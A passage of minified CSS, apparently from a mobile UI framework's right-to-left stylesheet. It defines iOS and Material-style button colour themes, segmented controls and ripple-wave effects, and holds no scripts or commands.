.button.button-round-ios:first-child,.ios .segmented .button.button-round:first-child{border-radius:0 29px 29px 0}.ios .segmented .button.button-round-ios:last-child,.ios .segmented .button.button-round:last-child{border-radius:0 29px 29px 0;border-radius:29px 0 0 29px}.ios .color-theme-red .button{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .button.active-state{background:rgba(255,59,48,.15)}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios,.ios .color-theme-red .button.tab-link-active{color:#fff}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.tab-link-active{background:#ff3b30}.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-red .button.button-small-ios.button-fill.active-state,.ios .color-theme-red .button.button-small.button-fill-ios.active-state,.ios .color-theme-red .button.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .color-theme-green .button{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .button.active-state{background:rgba(76,217,100,.15)}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios,.ios .color-theme-green .button.tab-link-active{color:#fff}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.tab-link-active{background:#4cd964}.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios{background:#4cd964;border-color:transparent}.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-green .button.button-small-ios.button-fill.active-state,.ios .color-theme-green .button.button-small.button-fill-ios.active-state,.ios .color-theme-green .button.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .color-theme-blue .button{border-color:#007aff;color:#007aff}.ios .color-theme-blue .button.active-state{background:rgba(0,122,255,.15)}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios,.ios .color-theme-blue .button.tab-link-active{color:#fff}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.tab-link-active{background:#007aff}.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios{background:#007aff;border-color:transparent}.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small-ios.button-fill.active-state,.ios .color-theme-blue .button.button-small.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .color-theme-pink .button{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .button.active-state{background:rgba(255,45,85,.15)}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios,.ios .color-theme-pink .button.tab-link-active{color:#fff}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.tab-link-active{background:#ff2d55}.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small-ios.button-fill.active-state,.ios .color-theme-pink .button.button-small.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .color-theme-yellow .button{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .button.active-state{background:rgba(255,204,0,.15)}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios,.ios .color-theme-yellow .button.tab-link-active{color:#fff}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.tab-link-active{background:#fc0}.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios{background:#fc0;border-color:transparent}.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state,.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .color-theme-orange .button{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .button.active-state{background:rgba(255,149,0,.15)}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios,.ios .color-theme-orange .button.tab-link-active{color:#fff}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.tab-link-active{background:#ff9500}.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios{background:#ff9500;border-color:transparent}.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small-ios.button-fill.active-state,.ios .color-theme-orange .button.button-small.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .color-theme-gray .button{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .button.active-state{background:rgba(142,142,147,.15)}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios,.ios .color-theme-gray .button.tab-link-active{color:#fff}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.tab-link-active{background:#8e8e93}.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small-ios.button-fill.active-state,.ios .color-theme-gray .button.button-small.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .color-theme-white .button{border-color:#fff;color:#fff}.ios .color-theme-white .button.active-state{background:rgba(255,255,255,.15)}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios,.ios .color-theme-white .button.tab-link-active{color:#fff}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.tab-link-active{background:#fff}.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios{background:#fff;border-color:transparent}.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-white .button.button-small-ios.button-fill.active-state,.ios .color-theme-white .button.button-small.button-fill-ios.active-state,.ios .color-theme-white .button.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .color-theme-black .button{border-color:#000;color:#000}.ios .color-theme-black .button.active-state{background:rgba(0,0,0,.15)}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios,.ios .color-theme-black .button.tab-link-active{color:#fff}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.tab-link-active{background:#000}.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios{background:#000;border-color:transparent}.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-black .button.button-small-ios.button-fill.active-state,.ios .color-theme-black .button.button-small.button-fill-ios.active-state,.ios .color-theme-black .button.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}.ios .button.color-red{border-color:#ff3b30;color:#ff3b30}.ios .button.color-red.active-state{background:rgba(255,59,48,.15)}.ios .button.color-red.button-active,.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios,.ios .button.color-red.tab-link-active{color:#fff}.ios .button.color-red.button-active,.ios .button.color-red.tab-link-active{background:#ff3b30}.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .button.color-red.button-small-ios.button-fill-ios.active-state,.ios .button.color-red.button-small-ios.button-fill.active-state,.ios .button.color-red.button-small.button-fill-ios.active-state,.ios .button.color-red.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .button.color-green{border-color:#4cd964;color:#4cd964}.ios .button.color-green.active-state{background:rgba(76,217,100,.15)}.ios .button.color-green.button-active,.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios,.ios .button.color-green.tab-link-active{color:#fff}.ios .button.color-green.button-active,.ios .button.color-green.tab-link-active{background:#4cd964}.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios{background:#4cd964;border-color:transparent}.ios .button.color-green.button-small-ios.button-fill-ios.active-state,.ios .button.color-green.button-small-ios.button-fill.active-state,.ios .button.color-green.button-small.button-fill-ios.active-state,.ios .button.color-green.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .button.color-blue{border-color:#007aff;color:#007aff}.ios .button.color-blue.active-state{background:rgba(0,122,255,.15)}.ios .button.color-blue.button-active,.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios,.ios .button.color-blue.tab-link-active{color:#fff}.ios .button.color-blue.button-active,.ios .button.color-blue.tab-link-active{background:#007aff}.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios{background:#007aff;border-color:transparent}.ios .button.color-blue.button-small-ios.button-fill-ios.active-state,.ios .button.color-blue.button-small-ios.button-fill.active-state,.ios .button.color-blue.button-small.button-fill-ios.active-state,.ios .button.color-blue.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .button.color-pink{border-color:#ff2d55;color:#ff2d55}.ios .button.color-pink.active-state{background:rgba(255,45,85,.15)}.ios .button.color-pink.button-active,.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios,.ios .button.color-pink.tab-link-active{color:#fff}.ios .button.color-pink.button-active,.ios .button.color-pink.tab-link-active{background:#ff2d55}.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .button.color-pink.button-small-ios.button-fill-ios.active-state,.ios .button.color-pink.button-small-ios.button-fill.active-state,.ios .button.color-pink.button-small.button-fill-ios.active-state,.ios .button.color-pink.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .button.color-yellow{border-color:#fc0;color:#fc0}.ios .button.color-yellow.active-state{background:rgba(255,204,0,.15)}.ios .button.color-yellow.button-active,.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios,.ios .button.color-yellow.tab-link-active{color:#fff}.ios .button.color-yellow.button-active,.ios .button.color-yellow.tab-link-active{background:#fc0}.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios{background:#fc0;border-color:transparent}.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state,.ios .button.color-yellow.button-small-ios.button-fill.active-state,.ios .button.color-yellow.button-small.button-fill-ios.active-state,.ios .button.color-yellow.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .button.color-orange{border-color:#ff9500;color:#ff9500}.ios .button.color-orange.active-state{background:rgba(255,149,0,.15)}.ios .button.color-orange.button-active,.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios,.ios .button.color-orange.tab-link-active{color:#fff}.ios .button.color-orange.button-active,.ios .button.color-orange.tab-link-active{background:#ff9500}.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios{background:#ff9500;border-color:transparent}.ios .button.color-orange.button-small-ios.button-fill-ios.active-state,.ios .button.color-orange.button-small-ios.button-fill.active-state,.ios .button.color-orange.button-small.button-fill-ios.active-state,.ios .button.color-orange.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .button.color-gray{border-color:#8e8e93;color:#8e8e93}.ios .button.color-gray.active-state{background:rgba(142,142,147,.15)}.ios .button.color-gray.button-active,.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios,.ios .button.color-gray.tab-link-active{color:#fff}.ios .button.color-gray.button-active,.ios .button.color-gray.tab-link-active{background:#8e8e93}.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .button.color-gray.button-small-ios.button-fill-ios.active-state,.ios .button.color-gray.button-small-ios.button-fill.active-state,.ios .button.color-gray.button-small.button-fill-ios.active-state,.ios .button.color-gray.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .button.color-white{border-color:#fff;color:#fff}.ios .button.color-white.active-state{background:rgba(255,255,255,.15)}.ios .button.color-white.button-active,.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios,.ios .button.color-white.tab-link-active{color:#fff}.ios .button.color-white.button-active,.ios .button.color-white.tab-link-active{background:#fff}.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios{background:#fff;border-color:transparent}.ios .button.color-white.button-small-ios.button-fill-ios.active-state,.ios .button.color-white.button-small-ios.button-fill.active-state,.ios .button.color-white.button-small.button-fill-ios.active-state,.ios .button.color-white.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .button.color-black{border-color:#000;color:#000}.ios .button.color-black.active-state{background:rgba(0,0,0,.15)}.ios .button.color-black.button-active,.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios,.ios .button.color-black.tab-link-active{color:#fff}.ios .button.color-black.button-active,.ios .button.color-black.tab-link-active{background:#000}.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios{background:#000;border-color:transparent}.ios .button.color-black.button-small-ios.button-fill-ios.active-state,.ios .button.color-black.button-small-ios.button-fill.active-state,.ios .button.color-black.button-small.button-fill-ios.active-state,.ios .button.color-black.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}.md .button{color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}.md .button.active-state{background:rgba(0,0,0,.1)}.md .button.button-active,.md .button.button-fill,.md .button.button-fill-md,.md .button.tab-link-active{background-color:#2196f3;color:#fff}.md .button.button-active.active-state,.md .button.button-fill-md.active-state,.md .button.button-fill.active-state,.md .button.tab-link-active.active-state{background:#0c82df}.md .button.button-big,.md .button.button-big-md{height:48px;line-height:48px;border-radius:4px}.md .button.button-round,.md .button.button-round-md{border-radius:36px}.md .button.button-outline{border:2px solid #2196f3;line-height:32px}.md .button.button-outline.button-big,.md .button.button-outline.button-big-md{line-height:44px}.md .button.button-small,.md .button.button-small-md{height:28px;line-height:28px;font-size:13px;font-weight:500;letter-spacing:.03em}.md .button.button-small-md.button-outline,.md .button.button-small.button-outline{border-width:2px;line-height:24px}.md .button>i.icon+i.icon,.md .button>i.icon+span,.md .button>span:not(.ripple-wave)+i.icon,.md .button>span:not(.ripple-wave)+span{margin-right:8px}.md .button.button-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .button.button-raised.active-state{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .navbar .button:not(.button-fill):not(.button-fill-md),.md .subnavbar .button:not(.button-fill):not(.button-fill-md),.md .toolbar .button:not(.button-fill):not(.button-fill-md){color:#fff}.md .navbar .button:not(.button-fill):not(.button-fill-md).active-state,.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state,.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .toast .button:not(.button-fill):not(.button-fill-md).active-state{background:rgba(255,255,255,.15)}.md .segmented{border-radius:4px}.md .segmented.segmented-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .segmented.segmented-round{border-radius:36px}.md .segmented .button{border-radius:0;min-width:0;border-right:1px solid rgba(0,0,0,.1)}.md .segmented .button:first-child{border-radius:0 4px 4px 0;border-right:none}.md .segmented .button.button-outline{border:2px solid #2196f3}.md .segmented .button.button-outline:nth-child(n+2){border-right:none}.md .segmented .button:last-child{border-radius:4px 0 0 4px}.md .segmented .button:first-child:last-child{border-radius:4px}.md .segmented .button.button-round:first-child{border-radius:0 36px 36px 0}.md .segmented .button.button-round:last-child{border-radius:36px 0 0 36px}.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state{background-color:rgba(255,255,255,.1)}.md .color-red .button,.md .color-theme-red .button{color:#f44336}.md .color-red .button.button-active,.md .color-red .button.button-fill,.md .color-red .button.button-fill-md,.md .color-red .button.tab-link-active,.md .color-theme-red .button.button-active,.md .color-theme-red .button.button-fill,.md .color-theme-red .button.button-fill-md,.md .color-theme-red .button.tab-link-active{background-color:#f44336;color:#fff}.md .color-red .button.button-active.active-state,.md .color-red .button.button-fill-md.active-state,.md .color-red .button.button-fill.active-state,.md .color-red .button.tab-link-active.active-state,.md .color-theme-red .button.button-active.active-state,.md .color-theme-red .button.button-fill-md.active-state,.md .color-theme-red .button.button-fill.active-state,.md .color-theme-red .button.tab-link-active.active-state{background:#f21f0f}.md .color-red .button.button-outline,.md .color-theme-red .button.button-outline{border-color:#f44336}.md .color-green .button,.md .color-theme-green .button{color:#4caf50}.md .color-green .button.button-active,.md .color-green .button.button-fill,.md .color-green .button.button-fill-md,.md .color-green .button.tab-link-active,.md .color-theme-green .button.button-active,.md .color-theme-green .button.button-fill,.md .color-theme-green .button.button-fill-md,.md .color-theme-green .button.tab-link-active{background-color:#4caf50;color:#fff}.md .color-green .button.button-active.active-state,.md .color-green .button.button-fill-md.active-state,.md .color-green .button.button-fill.active-state,.md .color-green .button.tab-link-active.active-state,.md .color-theme-green .button.button-active.active-state,.md .color-theme-green .button.button-fill-md.active-state,.md .color-theme-green .button.button-fill.active-state,.md .color-theme-green .button.tab-link-active.active-state{background:#409343}.md .color-green .button.button-outline,.md .color-theme-green .button.button-outline{border-color:#4caf50}.md .color-blue .button,.md .color-theme-blue .button{color:#2196f3}.md .color-blue .button.button-active,.md .color-blue .button.button-fill,.md .color-blue .button.button-fill-md,.md .color-blue .button.tab-link-active,.md .color-theme-blue .button.button-active,.md .color-theme-blue .button.button-fill,.md .color-theme-blue .button.button-fill-md,.md .color-theme-blue .button.tab-link-active{background-color:#2196f3;color:#fff}.md .color-blue .button.button-active.active-state,.md .color-blue .button.button-fill-md.active-state,.md .color-blue .button.button-fill.active-state,.md .color-blue .button.tab-link-active.active-state,.md .color-theme-blue .button.button-active.active-state,.md .color-theme-blue .button.button-fill-md.active-state,.md .color-theme-blue .button.button-fill.active-state,.md .color-theme-blue .button.tab-link-active.active-state{background:#0c82df}.md .color-blue .button.button-outline,.md .color-theme-blue .button.button-outline{border-color:#2196f3}.md .color-pink .button,.md .color-theme-pink .button{color:#e91e63}.md .color-pink .button.button-active,.md .color-pink .button.button-fill,.md .color-pink .button.button-fill-md,.md .color-pink .button.tab-link-active,.md .color-theme-pink .button.button-active,.md .color-theme-pink .button.button-fill,.md .color-theme-pink .button.button-fill-md,.md .color-theme-pink .button.tab-link-active{background-color:#e91e63;color:#fff}.md .color-pink .button.button-active.active-state,.md .color-pink .button.button-fill-md.active-state,.md .color-pink .button.button-fill.active-state,.md .color-pink .button.tab-link-active.active-state,.md .color-theme-pink .button.button-active.active-state,.md .color-theme-pink .button.button-fill-md.active-state,.md .color-theme-pink .button.button-fill.active-state,.md .color-theme-pink .button.tab-link-active.active-state{background:#ca1452}.md .color-pink .button.button-outline,.md .color-theme-pink .button.button-outline{border-color:#e91e63}.md .color-theme-yellow .button,.md .color-yellow .button{color:#ffeb3b}.md .color-theme-yellow .button.button-active,.md .color-theme-yellow .button.button-fill,.md .color-theme-yellow .button.button-fill-md,.md .color-theme-yellow .button.tab-link-active,.md .color-yellow .button.button-active,.md .color-yellow .button.button-fill,.md .color-yellow .button.button-fill-md,.md .color-yellow .button.tab-link-active{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .button.button-active.active-state,.md .color-theme-yellow .button.button-fill-md.active-state,.md .color-theme-yellow .button.button-fill.active-state,.md .color-theme-yellow .button.tab-link-active.active-state,.md .color-yellow .button.button-active.active-state,.md .color-yellow .button.button-fill-md.active-state,.md .color-yellow .button.button-fill.active-state,.md .color-yellow .button.tab-link-active.active-state{background:#ffe712}.md .color-theme-yellow .button.button-outline,.md .color-yellow .button.button-outline{border-color:#ffeb3b}.md .color-orange .button,.md .color-theme-orange .button{color:#ff9800}.md .color-orange .button.button-active,.md .color-orange .button.button-fill,.md .color-orange .button.button-fill-md,.md .color-orange .button.tab-link-active,.md .color-theme-orange .button.button-active,.md .color-theme-orange .button.button-fill,.md .color-theme-orange .button.button-fill-md,.md .color-theme-orange .button.tab-link-active{background-color:#ff9800;color:#fff}.md .color-orange .button.button-active.active-state,.md .color-orange .button.button-fill-md.active-state,.md .color-orange .button.button-fill.active-state,.md .color-orange .button.tab-link-active.active-state,.md .color-theme-orange .button.button-active.active-state,.md .color-theme-orange .button.button-fill-md.active-state,.md .color-theme-orange .button.button-fill.active-state,.md .color-theme-orange .button.tab-link-active.active-state{background:#d68000}.md .color-orange .button.button-outline,.md .color-theme-orange .button.button-outline{border-color:#ff9800}.md .color-gray .button,.md .color-theme-gray .button{color:#9e9e9e}.md .color-gray .button.button-active,.md .color-gray .button.button-fill,.md .color-gray .button.button-fill-md,.md .color-gray .button.tab-link-active,.md .color-theme-gray .button.button-active,.md .color-theme-gray .button.button-fill,.md .color-theme-gray .button.button-fill-md,.md .color-theme-gray .button.tab-link-active{background-color:#9e9e9e;color:#fff}.md .color-gray .button.button-active.active-state,.md .color-gray .button.button-fill-md.active-state,.md .color-gray .button.button-fill.active-state,.md .color-gray .button.tab-link-active.active-state,.md .color-theme-gray .button.button-active.active-state,.md .color-theme-gray .button.button-fill-md.active-state,.md .color-theme-gray .button.button-fill.active-state,.md .color-theme-gray .button.tab-link-active.active-state{background:#8a8a8a}.md .color-gray .button.button-outline,.md .color-theme-gray .button.button-outline{border-color:#9e9e9e}.md .color-theme-white .button,.md .color-white .button{color:#fff}.md .color-theme-white .button.button-active,.md .color-theme-white .button.button-fill,.md .color-theme-white .button.button-fill-md,.md .color-theme-white .button.tab-link-active,.md .color-white .button.button-active,.md .color-white .button.button-fill,.md .color-white .button.button-fill-md,.md .color-white .button.tab-link-active{background-color:#fff;color:#fff}.md .color-theme-white .button.button-active.active-state,.md .color-theme-white .button.button-fill-md.active-state,.md .color-theme-white .button.button-fill.active-state,.md .color-theme-white .button.tab-link-active.active-state,.md .color-white .button.button-active.active-state,.md .color-white .button.button-fill-md.active-state,.md .color-white .button.button-fill.active-state,.md .color-white .button.tab-link-active.active-state{background:#ebebeb}.md .color-theme-white .button.button-outline,.md .color-white .button.button-outline{border-color:#fff}.md .color-black .button,.md .color-theme-black .button{color:#000}.md .color-black .button.button-active,.md .color-black .button.button-fill,.md .color-black .button.button-fill-md,.md .color-black .button.tab-link-active,.md .color-theme-black .button.button-active,.md .color-theme-black .button.button-fill,.md .color-theme-black .button.button-fill-md,.md .color-theme-black .button.tab-link-active{background-color:#000;color:#fff}.md .color-black .button.button-active.active-state,.md .color-black .button.button-fill-md.active-state,.md .color-black .button.button-fill.active-state,.md .color-black .button.tab-link-active.active-state,.md .color-theme-black .button.button-active.active-state,.md .color-theme-black .button.button-fill-md.active-state,.md .color-theme-black .button.button-fill.active-state,.md .color-theme-black .button.tab-link-active.active-state{background:#000}.md .color-black .button.button-outline,.md .color-theme-black .button.button-outline{border-color:#000}.md .button.color-red{color:#f44336}.md .button.color-red.button-active,.md .button.color-red.button-fill,.md .button.color-red.button-fill-md,.md .button.color-red.tab-link-active{background-color:#f44336;color:#fff}.md .button.color-red.button-active.active-state,.md .button.color-red.button-fill-md.active-state,.md .button.color-red.button-fill.active-state,.md .button.color-red.tab-link-active.active-state{background:#f21f0f}.md .button.color-red.button-outline{border-color:#f44336}.md .button.color-green{color:#4caf50}.md .button.color-green.button-active,.md .button.color-green.button-fill,.md .button.color-green.button-fill-md,.md .button.color-green.tab-link-active{background-color:#4caf50;color:#fff}.md .button.color-green.button-active.active-state,.md .button.color-green.button-fill-md.active-state,.md .button.color-green.button-fill.active-state,.md .button.color-green.tab-link-active.active-state{background:#409343}.md .button.color-green.button-outline{border-color:#4caf50}.md .button.color-blue{color:#2196f3}.md .button.color-blue.button-active,.md .button.color-blue.button-fill,.md .button.color-blue.button-fill-md,.md .button.color-blue.tab-link-active{background-color:#2196f3;color:#fff}.md .button.color-blue.button-active.active-state,.md .button.color-blue.button-fill-md.active-state,.md .button.color-blue.button-fill.active-state,.md .button.color-blue.tab-link-active.active-state{background:#0c82df}.md .button.color-blue.button-outline{border-color:#2196f3}.md .button.color-pink{color:#e91e63}.md .button.color-pink.button-active,.md .button.color-pink.button-fill,.md .button.color-pink.button-fill-md,.md .button.color-pink.tab-link-active{background-color:#e91e63;color:#fff}.md .button.color-pink.button-active.active-state,.md .button.color-pink.button-fill-md.active-state,.md .button.color-pink.button-fill.active-state,.md .button.color-pink.tab-link-active.active-state{background:#ca1452}.md .button.color-pink.button-outline{border-color:#e91e63}.md .button.color-yellow{color:#ffeb3b}.md .button.color-yellow.button-active,.md .button.color-yellow.button-fill,.md .button.color-yellow.button-fill-md,.md .button.color-yellow.tab-link-active{background-color:#ffeb3b;color:#fff}.md .button.color-yellow.button-active.active-state,.md .button.color-yellow.button-fill-md.active-state,.md .button.color-yellow.button-fill.active-state,.md .button.color-yellow.tab-link-active.active-state{background:#ffe712}.md .button.color-yellow.button-outline{border-color:#ffeb3b}.md .button.color-orange{color:#ff9800}.md .button.color-orange.button-active,.md .button.color-orange.button-fill,.md .button.color-orange.button-fill-md,.md .button.color-orange.tab-link-active{background-color:#ff9800;color:#fff}.md .button.color-orange.button-active.active-state,.md .button.color-orange.button-fill-md.active-state,.md .button.color-orange.button-fill.active-state,.md .button.color-orange.tab-link-active.active-state{background:#d68000}.md .button.color-orange.button-outline{border-color:#ff9800}.md .button.color-gray{color:#9e9e9e}.md .button.color-gray.button-active,.md .button.color-gray.button-fill,.md .button.color-gray.button-fill-md,.md .button.color-gray.tab-link-active{background-color:#9e9e9e;color:#fff}.md .button.color-gray.button-active.active-state,.md .button.color-gray.button-fill-md.active-state,.md .button.color-gray.button-fill.active-state,.md .button.color-gray.tab-link-active.active-state{background:#8a8a8a}.md .button.color-gray.button-outline{border-color:#9e9e9e}.md .button.color-white{color:#fff}.md .button.color-white.button-active,.md .button.color-white.button-fill,.md .button.color-white.button-fill-md,.md .button.color-white.tab-link-active{background-color:#fff;color:#fff}.md .button.color-white.button-active.active-state,.md .button.color-white.button-fill-md.active-state,.md .button.color-white.button-fill.active-state,.md .button.color-white.tab-link-active.active-state{background:#ebebeb}.md .button.color-white.button-outline{border-color:#fff}.md .button.color-black{color:#000}.md .button.color-black.button-active,.md .button.color-black.button-fill,.md .button.color-black.button-fill-md,.md .button.color-black.tab-link-active{background-color:#000;color:#fff}.md .button.color-black.button-active.active-state,.md .button.color-black.button-fill-md.active-state,.md .button.color-black.button-fill.active-state,.md .button.color-black.tab-link-active.active-state{background:#000}.md .button.color-black.button-outline{border-color:#000}.md .actions-button,.md .button,.md .checkbox,.md .dialog-button,.md .fab a,.md .radio,.md .ripple,.md .speed-dial-buttons a,.md .tab-link,.md a.item-link,.md a.link{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.md .ripple-wave{left:0;top:0;position:absolute!important;border-radius:50%;pointer-events:none;z-index:-1;background:rgba(0,0,0,.1);padding:0;margin:0;font-size:0;-webkit-transform:translate3d(0,0,0) scale(0);transform:translate3d(0,0,0) scale(0);-webkit-transition-duration:1.4s;transition-duration:1.4s}.md .ripple-wave.ripple-wave-fill{-webkit-transition-duration:.3s;transition-duration:.3s;opacity:.35}.md .ripple-wave.ripple-wave-out{-webkit-transition-duration:.6s;transition-duration:.6s;opacity:0}.button-fill .md .ripple-wave,.picker-calendar-day .md .ripple-wave{z-index:1}.md .button-active .ripple-wave,.md .button-fill .ripple-wave,.md .fab a .ripple-wave,.md .navbar .ripple-wave,.md .stepper-fill .ripple-wave,.md .subnavbar .ripple-wave,.md .toast .ripple-wave,.md .toolbar .ripple-wave{background:rgba(255,255,255,.3)}.md .messagebar .ripple-wave,.md .searchbar .ripple-wave{background:rgba(0,0,0,.1)}.md .data-table .sortable-cell .ripple-wave{z-index:0}.md .checkbox .ripple-wave,.md .radio .ripple-wave{background:rgba(33,150,243,.5);z-index:0}.calendar.md .theme-dark .ripple-wave,.md .theme-dark .calendar .ripple-wave,.md .theme-dark .messagebar .ripple-wave,.md .theme-dark .page-content .ripple-wave,.md .theme-dark .popover .ripple-wave{background-color:rgba(255,255,255,.3)}.md .ripple-color-red .ripple-wave,.md .ripple-red .ripple-wave{background-color:rgba(244,67,54,.3)}.md .ripple-color-green .ripple-wave,.md .ripple-green .ripple-wave{background-color:rgba(76,175,80,.3)}.md .ripple-blue .ripple-wave,.md .ripple-color-blue .ripple-wave{background-color:rgba(33,150,243,.3)}.md .ripple-color-pink .ripple-wave,.md .ripple-pink .ripple-wave{background-color:rgba(233,30,99,.3)}.md .ripple-color-yellow .ripple-wave,.md .ripple-yellow .ripple-wave{background-color:rgba(255,235,59,.3)}.md .ripple-color-orange .ripple-wave,.md .ripple-orange .ripple-wave{background-color:rgba(255,152,0,.3)}.md .ripple-color-gray .ripple-wave,.md .ripple-gray 